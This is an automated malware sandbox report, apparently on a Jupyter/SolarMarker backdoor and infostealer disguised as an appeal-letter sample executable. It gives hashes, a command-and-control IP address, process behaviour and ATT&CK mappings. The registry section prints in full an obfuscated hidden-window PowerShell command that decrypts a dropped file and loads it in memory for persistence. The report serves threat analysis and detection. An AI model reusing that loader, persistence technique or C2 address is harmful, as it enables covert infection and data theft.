jupyter | 39787d4b45d431380f24bb2c2e505ce1cd369ddc84629f295df892910d0d4e2e

General

Target

Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Size

265.0MB
MD5

9113ce41a5c257d8fc3cd740bcb63c08
SHA1

b5a27bd5ef4349580f381e8dec5bd78ecfc9c542
SHA256

39787d4b45d431380f24bb2c2e505ce1cd369ddc84629f295df892910d0d4e2e
SHA512

8a44926c6a67b38481339d44d7665e771bfae2b58d71908a3d3c1783e0b814b1650bce9a06bb62bd334c8fa0a6eaec4d929e4625955749bee383d6651d87359b

Score

10^/10

jupyter backdoor stealer trojan

Malware Config

Extracted

Family

jupyter

C2

http://146.70.71.174

Signatures

Jupyter, SolarMarker
Jupyter is a backdoor and infostealer first seen in mid 2020.
backdoor trojan stealer jupyter

Executes dropped EXE 1 IoCs

pid	Process
1976	Basiradial.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mqAfwKqytHy.VntuKpIZiSIfOgh	Gifted-And-Talented-Appeal-Letter-Sample (1).exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 7 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\.vntukpizisifogh	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\.vntukpizisifogh\ = "ztjiuipmtejcfsruetdaxcrl"	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\ztjiuipmtejcfsruetdaxcrl\shell\open\command	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\ztjiuipmtejcfsruetdaxcrl	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\ztjiuipmtejcfsruetdaxcrl\shell	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Key created	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\ztjiuipmtejcfsruetdaxcrl\shell\open	Gifted-And-Talented-Appeal-Letter-Sample (1).exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1083475884-596052423-1669053738-1000_CLASSES\ztjiuipmtejcfsruetdaxcrl\shell\open\command\ = "powershell -windowstyle hidden -command \"$AC=New-Object System.Security.Cryptography.AesCryptoServiceProvider;$AC.Key=[Convert]::FromBase64String('PZ2z5Y3u0jdChqecGRWPr4ivKtZu3Z+hkY5hf1X8fOM=');$EB=[Convert]::FromBase64String([IO.File]::ReadAllText([System.Text.Encoding]::Utf8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE1pY3Jvc29mdFxXaW5kb3dzXFN0YXJ0IE1lbnVcUHJvZ3JhbXNcU3RhcnR1cFxtcUFmd0txeXRIeS5WbnR1S3BJWmlTSWZPZ2g='))));$AC.IV = $EB[0..15];$Decryptor=$AC.CreateDecryptor();$UB=$Decryptor.TransformFinalBlock($EB, 16, $EB.Length-16);$AC.Dispose();[Reflection.Assembly]::Load($UB);[SOYSDdMTA5MzSGO7kyKXM7CJhfH19qETaAs3weTq__MfajC9_zN6Bo3YXknellj7BoL_Yr.Db9v1dgJwoTx1sEzwPxo74Kt7UKHYzj6sRNbthoF]::U7u1m3V0ZwHV1ZZVOpYWmj();\""	Gifted-And-Talented-Appeal-Letter-Sample (1).exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1440	Gifted-And-Talented-Appeal-Letter-Sample (1).exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 1228 wrote to memory of 1976	1228	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	28
PID 1228 wrote to memory of 1976	1228	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	28
PID 1228 wrote to memory of 1976	1228	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	28
PID 1228 wrote to memory of 1976	1228	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	28
PID 1228 wrote to memory of 1440	1228	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	29
PID 1228 wrote to memory of 1440	1228	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	29
PID 1228 wrote to memory of 1440	1228	Gifted-And-Talented-Appeal-Letter-Sample (1).exe	29

C:\Users\Admin\AppData\Local\Temp\Gifted-And-Talented-Appeal-Letter-Sample (1).exe
"C:\Users\Admin\AppData\Local\Temp\Gifted-And-Talented-Appeal-Letter-Sample (1).exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1228
- C:\Users\Admin\AppData\Local\Temp\Basiradial.exe
  "C:\Users\Admin\AppData\Local\Temp\Basiradial.exe"
  2⤵
  - Executes dropped EXE
  PID:1976
- C:\Users\Admin\AppData\Local\Temp\Gifted-And-Talented-Appeal-Letter-Sample (1).exe
  "C:\Users\Admin\AppData\Local\Temp\Gifted-And-Talented-Appeal-Letter-Sample (1).exe" /s
  2⤵
  - Drops startup file
  - Modifies registry class
  - Suspicious use of AdjustPrivilegeToken
  PID:1440

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\Basiradial.exe

Filesize
997KB

MD5
dbc534854dd385e59a3f1906ddfb9020

SHA1
2b3062d82232ce10a8713829199769ff0d12e0fc

SHA256
06486febb76aaa7bf469ba1bf46a92c4eafc42a5626646184e8865c862d09dd0

SHA512
1506fbc8fca0a3ca06e24fdae2fb9e8cb345fd6197f5cbbaa990490cc20a25b72906ab9668725f29c0bfce6528bd7dca5dc15ca0ac3c0327d1876e58e3d47951

Download Submit
memory/1228-54-0x00000000008A0000-0x0000000000B2C000-memory.dmp

Filesize
2.5MB

Download
memory/1440-63-0x00000000021D0000-0x0000000002276000-memory.dmp

Filesize
664KB

Download
memory/1440-59-0x000000001B550000-0x000000001B832000-memory.dmp

Filesize
2.9MB

Download
memory/1440-60-0x0000000000570000-0x000000000058C000-memory.dmp

Filesize
112KB

Download
memory/1440-61-0x0000000000590000-0x00000000005D8000-memory.dmp

Filesize
288KB

Download
memory/1440-62-0x00000000003E0000-0x00000000003E8000-memory.dmp

Filesize
32KB

Download
memory/1440-64-0x000000001AEA0000-0x000000001AED4000-memory.dmp

Filesize
208KB

Download
memory/1440-65-0x000000001AEE0000-0x000000001AF2A000-memory.dmp

Filesize
296KB

Download
memory/1440-66-0x00000000007F0000-0x0000000000806000-memory.dmp

Filesize
88KB

Download
memory/1440-67-0x000000001BC30000-0x000000001BCE8000-memory.dmp

Filesize
736KB

Download
memory/1976-57-0x00000000751C1000-0x00000000751C3000-memory.dmp

Filesize
8KB

Download

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Analysis

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